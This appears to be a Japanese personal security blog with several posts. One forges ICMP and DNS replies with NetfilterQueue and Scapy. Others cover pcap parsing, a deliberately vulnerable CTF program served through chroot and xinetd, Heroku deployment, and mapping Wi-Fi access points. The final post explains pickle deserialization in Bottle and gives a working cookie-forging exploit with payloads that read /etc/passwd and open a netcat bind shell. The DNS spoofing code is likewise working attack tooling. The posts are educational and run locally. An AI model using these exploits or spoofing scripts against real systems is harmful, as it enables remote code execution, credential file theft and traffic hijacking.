mrtc0.log

tail -f mrtc0.log

nfqueue+scapyで偽の応答を返す

PythonライブラリであるNetfilterQueueを使うことでiptablesのnfqueueルールにマッチしたパケットを扱うことができる。

NetfilterQueue 0.3 : Python Package Index

ここではNetfilterQueueとScapyを使用して偽のDNS応答パケットを返してみる。


ICMP Echo Requestをフックしてみる

まずはICMP Echo RequestパケットをフックしてReplyを返すfake_icmp.pyを作ってみる。

import os
import sys
from scapy.all import *
from netfilterqueue import NetfilterQueue

def fake_echo_reply(pkt):
    """ 偽のICMP Echo Replyパケットを作成する """
    ip = IP()
    icmp = ICMP()
    ip.src = pkt[IP].dst
    ip.dst = pkt[IP].src
    icmp.type = 0
    icmp.code = 0
    icmp.id = pkt[ICMP].id
    icmp.seq = pkt[ICMP].seq
    print("\t%s => %s" % (ip.src, ip.dst))
    data = pkt[ICMP].payload
    send(ip/icmp/data)


def process(pkt):
    """ NFQUEUEから受け取ったパケットを処理する関数 """
    packet = IP(pkt.get_payload())
    proto = packet.proto
    # 0x01 = ICMP
    if proto is 0x01:
        print("[*] ICMP Packet Detected")
        if packet[ICMP].type is 8:
            print("[*] ICMP Echo Request Packet Detected")
            fake_echo_reply(packet)


def main():
    nfqueue = NetfilterQueue()
    # キューID = 1
    nfqueue.bind(1, process)

    try:
        nfqueue.run()
    except:
        print("Exiting...")
        sys.exit(1)

main()

iptablesにてecho-requestなICMPパケットをNFQUEUEターゲットでキューに入れる。

iptables -A OUTPUT -p icmp --icmp-type echo-request -j NFQUEUE --queue-num 1

この状態でfake_icmp.pyを起動して、pingを打ってみる。

# ping -c 3 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=4.91 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=5.17 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=4.93 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 4.916/5.008/5.174/0.142 ms

実際には8.8.8.8にパケットは送信されず、iptablesのNFQUEUEターゲットによってフックされ、fake_icmp.pyへ渡される。
fake_icmp.pyでは受け取ったパケットに基づいて生成されたICMP echo replyが送信される。

# python fake_icmp.py 
WARNING: No route found for IPv6 destination :: (no default route?)
[*] ICMP Packet Detected
[*] ICMP Echo Request Packet Detected
        8.8.8.8 => 192.168.1.210
[*] ICMP Packet Detected
[*] ICMP Echo Request Packet Detected
        8.8.8.8 => 192.168.1.210
[*] ICMP Packet Detected
[*] ICMP Echo Request Packet Detected
        8.8.8.8 => 192.168.1.210

偽のDNS応答を返す

同様にDNSの問い合わせパケットをフックし、実際とは異なるIPアドレスを返すようにしてみる。

iptablesでポート53番へ送信されるパケットをNFQUEUEに渡す。
ここではキューIDを2にしている。

iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE --queue-num 2

fake_dns.pyは以下のようになる。
先ほどのICMPと同様、受け取ったパケットに基づいてDNS応答パケットを作成する。

import os
import sys
from scapy.all import *
from netfilterqueue import NetfilterQueue


def fake_dns_reply(pkt, qname):
    """ 偽のDNS応答パケットを作成する """
    ip = IP()
    udp = UDP()
    ip.src = pkt[IP].dst
    ip.dst = pkt[IP].src
    udp.sport = pkt[UDP].dport
    udp.dport = pkt[UDP].sport

    solved_ip = sys.argv[1] # 偽のIPアドレス
    qd = pkt[UDP].payload
    dns = DNS(id = qd.id, qr = 1, qdcount = 1, ancount = 1, arcount = 1, nscount = 1, rcode = 0)
    dns.qd = qd[DNSQR]
    dns.an = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)
    dns.ns = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)
    dns.ar = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)
    print("\t%s:%s" % (ip.dst, udp.dport))
    send(ip/udp/dns)

def process(pkt):
    """ NFQUEUEから受け取ったパケットを処理する関数 """
    packet = IP(pkt.get_payload())
    proto = packet.proto
    # 0x11 = UDP
    if proto is 0x11:
        if packet[UDP].dport is 53:
            print("[*] DNS request")
            dns = packet[UDP].payload
            qname = dns[DNSQR].qname
            print("[*] Requesting for %s" % qname)
            fake_dns_reply(packet, qname)
    


def main():
    nfqueue = NetfilterQueue()
    # キューID = 2
    nfqueue.bind(2, process)

    try:
        nfqueue.run()
    except:
        print("Exiting...")
        # iptables reset
        
        sys.exit(1)

main()

引数に返したいIPアドレスを渡して起動する。
ここでは153.120.0.175(mrtc0.com)を渡す。

# python fake_dns.py 153.120.0.175

digの結果は以下のようになる。

# dig www.google.com

; <<>> DiG 9.9.5-9+deb8u6-Debian <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21188
;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         3600    IN      A       153.120.0.175

;; AUTHORITY SECTION:
www.google.com.         3600    IN      A       153.120.0.175

;; ADDITIONAL SECTION:
www.google.com.         3600    IN      A       153.120.0.175

;; Query time: 15 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Mon Mar 28 01:30:43 JST 2016
;; MSG SIZE  rcvd: 122

偽の応答を返していることが確認できた。


参考

gopacketでpcapを読み込む

Goでパケットを扱うライブラリにgopacketがある。

github.com

ここではgopacketでpcapを読み込んでパケットの内容を表示してみる。

単純に読み込んで表示する

読み込むpcapはhttp.capを使っている。

package main

import (
    "fmt"
    "io"
    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
    "log"
)

var (
    pcapFile string = "http.cap"
    handle   *pcap.Handle
    err      error
)

func main() {
    handle, err = pcap.OpenOffline(pcapFile)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
    for {
        packet, err := packetSource.NextPacket()
        if err == io.EOF {
            break
        } else if err != nil {
            log.Println("Error:", err)
            continue
        }
        fmt.Println(packet)
    }
}

読み込み箇所は以下の部分。

handle, err = pcap.OpenOffline(pcapFile)

でpcapを読み込み、

packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

でpcapからパケットを取得できる。
https://godoc.org/github.com/google/gopacket#PacketSource

ちなみに、もっと簡単に読み込む方法としてPackets()を使う方法もある。

for packet := range packetSource.Packets() {
  fmt.Println(packet)
}

実行結果

PACKET: 62 bytes, wire length 62 cap length 62 @ 2004-05-13 19:17:07.311224 +0900 JST
- Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..48..] SrcMAC=00:00:01:00:00:00 DstMAC=fe:ff:20:00:01:00 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4     {Contents=[..20..] Payload=[..28..] Version=4 IHL=5 TOS=0 Length=48 Id=3905 Flags=DF FragOffset=0 TTL=128 Protocol=TCP Checksum=37355 SrcIP=145.254.160.237 DstIP=
65.208.228.223 Options=[] Padding=[]}                                                                                                                                                             - Layer 3 (28 bytes) = TCP      {Contents=[..28..] Payload=[] SrcPort=3372(tip2) DstPort=80(http) Seq=951057939 Ack=0 DataOffset=7 FIN=false SYN=true RST=false PSH=false ACK=false URG=false ECE=
false CWR=false NS=false Window=8760 Checksum=49932 Urgent=0 Options=[TCPOption(2:[5 180]), NOP, NOP, TCPOption(4:[])] Padding=[]}                                                                
PACKET: 62 bytes, wire length 62 cap length 62 @ 2004-05-13 19:17:08.222534 +0900 JST
- Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..48..] SrcMAC=fe:ff:20:00:01:00 DstMAC=00:00:01:00:00:00 EthernetType=IPv4 Length=0}
- Layer 2 (20 bytes) = IPv4     {Contents=[..20..] Payload=[..28..] Version=4 IHL=5 TOS=0 Length=48 Id=0 Flags=DF FragOffset=0 TTL=47 Protocol=TCP Checksum=61996 SrcIP=65.208.228.223 DstIP=145.2
54.160.237 Options=[] Padding=[]}                                                                                                                                                                 - Layer 3 (28 bytes) = TCP      {Contents=[..28..] Payload=[] SrcPort=80(http) DstPort=3372(tip2) Seq=290218379 Ack=951057940 DataOffset=7 FIN=false SYN=true RST=false PSH=false ACK=true URG=fal
se ECE=false CWR=false NS=false Window=5840 Checksum=23516 Urgent=0 Options=[TCPOption(2:[5 100]), NOP, NOP, TCPOption(4:[])] Padding=[]}
...

パケットが持つレイヤを表示する

package main

import (
    "fmt"
    "io"
    "github.com/google/gopacket"
    "github.com/google/gopacket/layers"
    "github.com/google/gopacket/pcap"
    "log"
)

var (
    pcapFile string = "http.cap"
    handle   *pcap.Handle
    err      error
)

func printPacketInfo(packet gopacket.Packet) {
    for _, layer := range packet.Layers() {
        fmt.Println(layer.LayerType())
    }

}

func main() {
    handle, err = pcap.OpenOffline(pcapFile)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
    for {
        packet, err := packetSource.NextPacket()
        if err == io.EOF {
            break
        } else if err != nil {
            log.Println("Error:", err)
            continue
        }
        printPacketInfo(packet)
    }
}
Ethernet
IPv4
TCP
Ethernet
IPv4
TCP
Ethernet
IPv4
TCP
Ethernet
IPv4
TCP
Payload

Ethernet

func printPacketInfo(packet gopacket.Packet) {
    ethernetLayer := packet.Layer(layers.LayerTypeEthernet)
    if ethernetLayer != nil {
        fmt.Println("[*] Ethernet Layer")
        ethernetPacket, _ := ethernetLayer.(*layers.Ethernet)
        fmt.Printf("\tSource MAC: %s\n", ethernetPacket.SrcMAC)
        fmt.Printf("\tDestination MAC: %s\n", ethernetPacket.DstMAC)
        fmt.Printf("\tEthernet type: %s\n", ethernetPacket.EthernetType)
    }
}
[*] Ethernet Layer
        Source MAC: 00:00:01:00:00:00
        Destination MAC: fe:ff:20:00:01:00
        Ethernet type: IPv4
[*] Ethernet Layer
        Source MAC: 00:00:01:00:00:00
        Destination MAC: fe:ff:20:00:01:00
        Ethernet type: IPv4
[*] Ethernet Layer
        Source MAC: fe:ff:20:00:01:00
        Destination MAC: 00:00:01:00:00:00
        Ethernet type: IPv4

IP

func printPacketInfo(packet gopacket.Packet) {
        ipLayer := packet.Layer(layers.LayerTypeIPv4)
        if ipLayer != nil {
                fmt.Println("[*] IPv4 layer")
                ip, _ := ipLayer.(*layers.IPv4)
                fmt.Printf("\t%s -> %s\n", ip.SrcIP, ip.DstIP)
                fmt.Printf("\tProtocol: %s\n", ip.Protocol)
                fmt.Printf("\tIHL: %d\n", ip.IHL)
                fmt.Printf("\tTOS: %d\n", ip.TOS)
                fmt.Printf("\tLength: %d\n", ip.Length)
                fmt.Printf("\tId: %d\n", ip.Id)
                fmt.Printf("\tFlags: %s\n", ip.Flags)
                fmt.Printf("\tFragOffset: %d\n", ip.FragOffset)
                fmt.Printf("\tTTL: %d\n", ip.TTL)
        }
}
[*] IPv4 layer
        65.208.228.223 -> 145.254.160.237
        Protocol: TCP
        IHL: 5
        TOS: 0
        Length: 40
        Id: 0
        Flags: DF
        FragOffset: 0
        TTL: 47
...

TCP

func printPacketInfo(packet gopacket.Packet) {
        ipLayer := packet.Layer(layers.LayerTypeIPv4)
        tcpLayer := packet.Layer(layers.LayerTypeTCP)
        if tcpLayer != nil {
                ip, _ := ipLayer.(*layers.IPv4)
                tcp, _ := tcpLayer.(*layers.TCP)
                // Bool flags: FIN, SYN, RST, PSH, ACK, URG, ECE, CWR, NS
                if tcp.SYN {
                        fmt.Println("[*] TCP Layer")
                        fmt.Printf("\t%s:%d -> %s:%d\n", ip.SrcIP, tcp.SrcPort, ip.DstIP, tcp.DstPort)
                        fmt.Printf("\tSeq: %d\n", tcp.Seq)
                        fmt.Printf("\tAck: %d\n", tcp.Ack)
                        fmt.Printf("\tDataOffset: %d\n", tcp.DataOffset)
                        fmt.Printf("\tWindow: %d\n", tcp.Window)
                        fmt.Printf("\tChecksum: %d\n", tcp.Checksum)
                        fmt.Printf("\tUrgent: %d\n", tcp.Urgent)
                }
        }
}
[*] TCP Layer
        145.254.160.237:3372 -> 65.208.228.223:80
        Seq: 951057939
        Ack: 0
        DataOffset: 7
        Window: 8760
        Checksum: 49932
        Urgent: 0
[*] TCP Layer
        65.208.228.223:80 -> 145.254.160.237:3372
        Seq: 290218379
        Ack: 951057940
        DataOffset: 7
        Window: 5840
        Checksum: 23516
        Urgent: 0

Application層

func printPacketInfo(packet gopacket.Packet) {
        applicationLayer := packet.ApplicationLayer()
        if applicationLayer != nil {
                fmt.Println("[*] Application Layer")
                fmt.Printf("\t%s\n", applicationLayer.Payload())
        }
}
[*] Application Layer
        GET /download.html HTTP/1.1
        Host: www.ethereal.com
        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
        Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
        Accept-Language: en-us,en;q=0.5
        Accept-Encoding: gzip,deflate
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
        Keep-Alive: 300
        Connection: keep-alive
        Referer: http://www.ethereal.com/development.html

UDP

func printPacketInfo(packet gopacket.Packet) {
        ipLayer := packet.Layer(layers.LayerTypeIPv4)
        udpLayer := packet.Layer(layers.LayerTypeUDP)
        if udpLayer != nil {
                fmt.Println("[*] UDP Layer")
                ip, _ := ipLayer.(*layers.IPv4)
                udp, _ := udpLayer.(*layers.UDP)
                fmt.Printf("\t%s:%d -> %s:%d\n", ip.SrcIP, udp.SrcPort, ip.DstIP, udp.DstPort)
                fmt.Printf("\tChecksum: %d\n", udp.Checksum)
                fmt.Printf("\tLength: %d\n", udp.Length)
        }
}
[*] UDP Layer
        145.254.160.237:3009 -> 145.253.2.203:53
        Checksum: 4271
        Length: 55
[*] UDP Layer
        145.253.2.203:53 -> 145.254.160.237:3009
        Checksum: 12290
        Length: 154

参考

Scapyで大きいpcapを読み込む

パケットを作成したりpcapをいじったりして遊ぶPythonライブラリにscapyがある。
pcapを扱う際、rdpcapで読み込むことができるが、一度に全て読み込んでしまうため、大きいpcapを操作するときには厳しいことがある。

そんなときはPcapReaderを使えばいいらしい。

with PcapReader('huge.pcap') as pr:
    for p in pr:
        ...

参考

chrootとxinetdで脆弱なプログラムを動かす

CTFなどで脆弱なアプリケーションを動かしてそれをpwnする問題がある。 DockerとかJailとか使う方法もあるだろうけど簡単に手っ取り早くできるのはchroot+xinetdだと思う。

まずは脆弱なプログラム(vuln.c)を用意する。

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(){
    char file_name[100];
    char buf[1025] = {"¥0"};
    int fd;

    printf("Input file name > ");

    scanf("%s", file_name);
    fflush(stdout);

    fd = open(file_name, O_RDONLY);    
    if(fd == -1){
        return -1;
    }
    if(read(fd, buf, sizeof(buf))<0){
        close(fd);
        return -1;
    }

    printf("%s\n", buf);
    close(fd);
    return 0;
  }

コンパイル

$ gcc vuln.c -o vuln

chroot環境を構築するためにlddで依存環境を確認して適当に配置。

$ ldd vuln
linux-gate.so.1 (0xb76ee000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb751f000)
/lib/ld-linux.so.2 (0xb76ef000)
$ ldd /bin/bash
linux-gate.so.1 (0xb77d8000)
libncurses.so.5 => /lib/i386-linux-gnu/libncurses.so.5 (0xb778c000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xb7769000)
libdl.so.2 => /lib/i386-linux-gnu/i686/cmov/libdl.so.2 (0xb7763000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75b9000)
/lib/ld-linux.so.2 (0xb77d9000)

最終的にこのようなディレクトリ構造になる。

$ tree
.
├── bin
│   └── bash
├── lib
│   ├── i386-linux-gnu
│   │   ├── i686
│   │   │   └── cmov
│   │   │       ├── libc.so.6
│   │   │       └── libdl.so.2
│   │   ├── libncurses.so.5
│   │   └── libtinfo.so.5
│   └── ld-linux.so.2
├── vuln
├── vuln.c
└── secret.txt

続いてxinetdの設定。
/etc/xinetd.d/vuln.confを以下の内容で作成する。

service buln
  {
    type    = UNLISTED
    protocol  = tcp
    socket_type = stream
    port    = 12345
    wait    = no

    server    = /usr/sbin/chroot
    server_args = /usr/chroot/ ./vuln
    user    = root
  }

serverにはchrootコマンドのバイナリを指定する。 which chroot とかで調べればいい。 server_argsにchrootの引数を指定する。chroot環境である/usr/chroot/のvulnを動かすという意。 chrootを実行するにはroot権限が必要なのでuserにrootを指定する。

最後に/etc/xinetd.confに

includedir /etc/xinetd.d

が記述されていることを確認する。
そして

service xinetd start

でxinetdを起動すると指定したポート(ここでは12345)でvulnが待ち受けている。

nc host 12345

みたいな形でアクセスして

cat /etc/passwd

のようにchroot環境にないファイルを参照することができないことが確認できる。

参考

Heroku Buttonを試す

Chatworkの期限切れタスクを毎朝通知するためにHerokuアプリを書いた。
AkkaどころかScalaも全然知らなかったし、Herokuも使ったことなかったけどとりあえず最低限動いてる。

mrt-k/akka-cwnotifier · GitHub

で、Heroku Buttonってのがあるらしい。
README.mdなどのドキュメントに設置すると、クリック1つでHerokuにデプロイできるらしい。すごい。

Creating a 'Deploy to Heroku' Button | Heroku Dev Center

設置するまでのメモを残しておく。

app.jsonを書く

リポジトリにapp.jsonが必要。
app.jsonの形式は app.json Schema | Heroku Dev Center に書いてある。
必須項目はないらしいけど、 name description logo ぐらいは書いたほうがいいらしい。

{
  "name": "akka-cwnotifier",
  "description": "The notice task of Chatwork",
  "repository": "https://github.com/mrt-k/akka-cwnotifier",
  "logo": "https://pbs.twimg.com/profile_images/673806204599054337/ANb_c1Yj.png",
  "keywords": ["scala", "akka", "chatwork"]
}

logoはないので私のTwitterアイコンにした。

README.mdにHeroku Buttonを設置する

[![Deploy](https://www.herokucdn.com/deploy/button.png)](https://heroku.com/deploy?template=https://github.com/mrt-k/akka-cwnotifier)

また、GitHubのREADME.mdに設置するのであれば以下のようにtemplate=を指定しなくてもRefererから勝手にリポジトリ特定してやってくれるらしい。

[![Deploy](https://www.herokucdn.com/deploy/button.png)](https://heroku.com/deploy)

これだけで以下のように Deploy to Heroku ボタンができる。便利。

f:id:mrtc0:20160111221909p:plain

環境変数

今回Heroku Buttonを試したアプリにはChatworkのAPIキーなどを環境変数として設定する必要がある。
これもapp.jsonで設定する。

{
  "name": "akka-cwnotifier",
  "description": "The notice task of Chatwork",
  "repository": "https://github.com/mrt-k/akka-cwnotifier",
  "logo": "https://pbs.twimg.com/profile_images/673806204599054337/ANb_c1Yj.png",
  "keywords": ["scala", "akka", "chatwork"],
  "env": {
      "API_KEY": {
          "description": "Chatwork API KEY"
      },
      "ROOM_ID": {
          "description": "Destination room"
      }
  }
}

descriptionに説明を書ける。
他にも "generator": "secret" でランダムな文字列を自動生成できたり、 value で初期値を設定できる。
デフォルトで全て必須扱いとなるが、 "required" : false で任意扱いにできる。

app.json Schema | Heroku Dev Center

するとデプロイ画面で環境変数を設定できるようになる。

f:id:mrtc0:20160111222748p:plain

まとめ

リポジトリ直下にapp.jsonを配置するだけで簡単にデプロイできるようになって便利。

参考

広島市内のAPをマッピングしてみた

この記事は 「ふつうの広島 Advent Calendar 2015」 の19日目の記事です.
曰く,

「ふつう」ってのは普通よりすごかったり、普通よりおしかったり、普通よりゆるかったり」

らしいので, 普通よりゆるいことを書きます.

広島市内のAPをマッピングしてみた

当日の昼過ぎまで寝ていた上にアドベントカレンダーの存在を忘れていました.
特にネタもなかったので, 以前, 学内のAPをマッピングしたのを広島市内でやってみました.

背景

唐突な思いつきなので, 現在の公衆無線LANの数とか位置を知れたら面白いかもなぁと漠然と思っていただけで特に目的もなくやりました.
パークマップ広島という駐車場情報を確認できるサービスもありますし, アクセスポイント広島というのもおもしろいかもなぁと思ったり.

parkmap.in

ちなみに僕は宗教上の理由で公衆無線LANサービスは使いません.

実施

本通りのロッテリアで遅めの昼食を摂りつつ, 前回と同じ手順で準備.

公衆無線LANを使う場面といえば, 待ち時間に使う場合が多いのでは?と思い, バス停や駅, 飲食店街などを独断と偏見で適当に歩きました.
総務省が出している公衆無線LAN利用に関する情報セキュリティ意識調査結果によると,

観光地で利用するインターネット接続手段として、訪日外国人は半分近く、日本人は8割近くが無料公衆無線LANを選択しており、公衆無線LANは携帯電話回線と並ぶ主要な利用手段となっている

とあるので, 近くの観光スポットである原爆ドーム周辺も歩きました.
無料公衆無線LANを利用している方はVPNも一緒に利用しているんでしょうか. 心配です.

結果

1時間ほど歩いた結果として2000個以上のAPを収集できました.
kmlにエクスポートしてGoogle Mapにインポートしようとしたところ, 上限数を超えていたため, いくつか登録できませんでした.

f:id:mrtc0:20151219220157p:plain

本通りから原爆ドームをぐるっと回る形で歩いた通りに, 様々なAPが乱立しています.
本当は三越(画像でいうところのもう少し右)あたりまで歩いたのですが, この時点でインポートできる上限数を超えてたみたいですね.

結果として, softbankau, docomoなどのキャリアが提供しているAPが想像以上に多い印象を受けました.
あと, 未だにWEPなAPがいくつかありました. 大体全体の1/10程度. うーん...

SSIDが0001docomoのような形式ってどうなんですかね.
僕が悪意ある無線LAN APを立てるとしたらSSIDを0002docomoとかに...と思ったけど, 攻撃者は素直に同一名のSSIDにしますね, はい.

ちなみに今回のkmlは無断で公開してはいけないような気がしたので公開していません.
各キャリアなどが提供しているAPなどは公開しても問題ないような気がするので気が向いたら編集して公開してもいいかなと思います.
ただ, 公開のためにもっと歩かなければならないということを考えると気が引けますが...

感想

無料で使える公衆無線LANサービスは便利ではありますが, セキュリティ的には問題視されています.
先ほど紹介した総務省公衆無線LAN利用に関する情報セキュリティ意識調査結果にもある通り, 公衆無線LAN利用時の意識, 知識が低いように思えます.
もちろんコンピュータやその他テクノロジーに疎い方々にVPNを使って〜などと言うのは難しいですし, そもそもSSIDTLSといった言葉もわからないでしょう.
このあたりの知識は学校では教わらないだろうし, 地道に警鐘を鳴らしていくしかないのかなぁと思います.

と, 素人ながら沸々と感じました.
できるだけ利用者に負担をかけずに, かつ, 安全に利用できるインターネット/ネットワーク社会を築いていきたいですね.

pickleを利用した任意のコード実行とPython Web Framework

Djangoのサイトを見ていると以下のような記述があった.

Settings | Django documentation | Django

Running Django with a known SECRET_KEY defeats many of Django’s security protections, and can lead to privilege escalation and remote code execution vulnerabilities.

SECRET_KEYが第三者に漏れると任意のコード実行につながるとの記述がある.
が, なぜSECRET_KEYが知られると任意のコード実行が可能になるのかわからなかったので調べてみた.

結論としてセッション管理にpickleを使っているため, 第三者にSECRET_KEYが知られると悪意あるCookieを作れるかららしい.

pickle

Pythonにはオブジェクトをシリアライズ, デシリアライズするライブラリにpickleというものがある.

例えばusersというリストをシリアライズしてみると以下のようになる.

In [1]: import pickle

In [2]: users = ["admin", "user01", "mrtc0"]

In [3]: up = pickle.dumps(users)

In [4]: print up
(lp0
S'admin'
p1
aS'user01'
p2
aS'mrtc0'
p3
a.

これをデシリアライズするとusersを得ることができる.

In[5]: pickle.loads(up)
Out[5]: ['admin', 'user01', 'mrtc0']

スタックを追ってみる

pickle化されたusersは以下である.

(lp0
S'admin'
p1
aS'user01'
p2
aS'mrtc0'
p3
a.

この (lp0S,p1はPVMのopcodeらしい.

pickletoolsを使うと逆アセンブルできる.

In [7]: import pickletools
In [8]: pickletools.dis(up)
    0: (    MARK
    1: l        LIST       (MARK at 0)
    2: p    PUT        0
    5: S    STRING     'admin'
   14: p    PUT        1
   17: a    APPEND
   18: S    STRING     'user01'
   28: p    PUT        2
   31: a    APPEND
   32: S    STRING     'mrtc0'
   41: p    PUT        3
   44: a    APPEND
   45: .    STOP
highest protocol among opcodes = 0

順に追ってみる.

0: (    MARK

( はMARK命令でスタックにマーカーをプッシュする.

1: l        LIST       (MARK at 0)

lはリストを表している.
もしディクショナリであればdに, タプルであればtになる.

2: p    PUT        0
5: S    STRING     'admin'

pはPUT命令でpickleでは続く0や1などの数字をmemoと呼んでいるらしくスタックからPOPするときにこのmemoを用いている.
Sは文字列を意味し, 'admin'という文字列をスタックに積んだことになる.
また数値型の場合ははIntegerのIとなる. 続いてaはAPPENDを表しているため, リストに追加する命令だとわかる.
最後に.で終了を表している.


任意のコードを実行する

このpickleを使って任意のコードを実行することができる.

cos
system

のようなpickleを作成することでos.systemの形でスタックに積むことができる.

例えば以下のようなecho.pickleを作成してunpickleするとecho "Hello, World" が実行される.

cos
system
(S'echo "Hello, World"'
tR.)
In [1]: import pickle

In [2]: pickle.load(open("echo.pickle"))
Hello, World
Out[2]: 0

これも順に見ていく.

cos
system

os.systemをスタックに積む.

スタックの状態は以下のようになる.

|   bottom   |   os.system   | 

次に ( でMARKがスタックに積まれる.

|   bottom   |   os.system  |   MARK   |

S'echo "Hello, World"' で 文字列 'echo "Hello, World"' が積まれる.

|   bottom   |  os.system   |   MARK   |  ('echo "Hello, World"')   |

t で MARKと 'echo "Hello, World"' をタプルにする.

|   bottom   |  os.system   |  ('echo "Hello, World"')   |

R('echo "Hello, World"')os.system をポップして, os.system('echo "Hello, World"') を実行する.
戻り値がスタックに積まれる.

|   bottom   |   0   |

このような形でスタックが変移しているらしい.

つまり, 'echo "Hello, World"' ではなく '/bin/sh''cat /etc/passwd' などを積めばシェルを立ち上げたり, passwdを読み込める.

cos
system
(S'/bin/sh'
tR.)
In [1]: import pickle
In [2]: pickle.load(open("binsh.pickle"))
sh-4.3$ whoami
mrtc0
sh-4.3$ exit
exit
Out[2]: 0

pickleがセッション管理に使われている場合

Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.

Bottleアプリケーションを作成して試してみた.

mrt-k/vulnwebapp · GitHub

$ git clone https://github.com/mrt-k/vulnwebapp
$ cd vulnwebapp/python/       
$ python bottle/server.py 
Bottle v0.12.9 server starting up (using WSGIRefServer())...
Listening on http://127.0.0.1:8000/
Hit Ctrl-C to quit.

server.pyは以下のようなもの

from bottle import route, run, response, request, HTTPResponse

@route('/')
def main():
    value = request.get_cookie('account', secret='ThisIsSecretKey')
    if value:
        return value

@route('/set')
def set():
    resp = HTTPResponse(status=303)
    resp.set_header('Location','/')
    resp.set_cookie('account', 'admin', secret='ThisIsSecretKey')
    return resp

run(host='127.0.0.1', port=8000, debug=True, reloader=True)

http://localhost:8000/set にアクセスするとaccountという名前で adminという値のCookieが付与される.
中身は以下のようなもの.

"!Wfeacq3Bv2f+TC3FVRq1bw==?gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4="

bottle.pyのcookie_encodeでエンコード処理がされている. https://github.com/bottlepy/bottle/blob/d567af487ee0ef8a4c669f23b0bc8432302294b9/bottle.py#L2798

def cookie_encode(data, key):
    """ Encode and sign a pickle-able object. Return a (byte) string """
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg).digest())
    return tob('!') + sig + tob('?') + msg

sigではsecretkeyを使ってhmacを利用した値が生成されており, msgにはpickle.dumpsでデータをunpickleされたものが入っている.
どちらもbase64エンコードされている.

pickleされた部分("?"以降)をデコードすると値を得られる.

$ python -c "import pickle; print pickle.loads('gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4='.decode('base64'))"
('account', 'admin')

cookieのデータをpickle.dumpsしているため, secretkeyがわかっている場合, 任意のコードを実行できるCookieを生成できることになる.

このbottleアプリケーションのsecretkeyは ThisIsSecretKey であるので, それに基づいてcat /etc/passwdを実行するCookieを生成してみる.

import pickle, subprocess, base64, hmac, requests, sys

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/etc/passwd'),))

p = pickle.dumps(('account', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new("ThisIsSecretKey", msg).digest())
c = '!'+sig+'?'+msg
print c

このコードを実行すると以下のCookie値を取得できる.

!EBUIvHZinCyMbqCXnivovw==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUydjYXQnCnAyClMnL2V0Yy9wYXNzd2QnCnAzCnRwNAp0cDUKUnA2CnRwNwou

ブラウザのアドオンなどでCookieをこの値に書き換えると/etc/passwdの内容が表示されるはず.

netcatを実行させてバインドシェルを実行してみるexploitを書くと以下のようになる.

import pickle, subprocess, base64, hmac, requests, sys

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/etc/passwd'),))


class nc(object):
    def __reduce__(self):
        return (subprocess.check_output, (('nc', '-lvp', '12345', '-e', '/bin/sh'),))


if len(sys.argv) != 3:
    print("Usage: %s TARGET SECRET_KEY" % sys.argv[0])

TARGET = sys.argv[1]
SECRET_KEY = sys.argv[2]

# if you want to passwd file
# change nc() to getpasswd()

#p = pickle.dumps(('account', getpasswd()))
p = pickle.dumps(('account', nc()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(SECRET_KEY, msg).digest())
c = '!'+sig+'?'+msg
print c
print requests.get(TARGET, cookies=dict(account=c)).text
$ python bottle_exploit.py
!FA5dRLyylZvPhUzMS2HkTg==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUyduYycKcDIKUyctbHZwJwpwMwpTJzEyMzQ1JwpwNApTJy1lJwpwNQpTJy9iaW4vc2gnCnA2CnRwNwp0cDgKUnA5CnRwMTAKLg==

別のターミナルで接続すると(この場合localhostなので面白みに欠けるが), シェルを操作できる.

$ nc localhost 12345
ls
bottle
bottle_exploit.py
create_pickle_payload.py
getpasswd.pickle
whoami
mrtc0

参考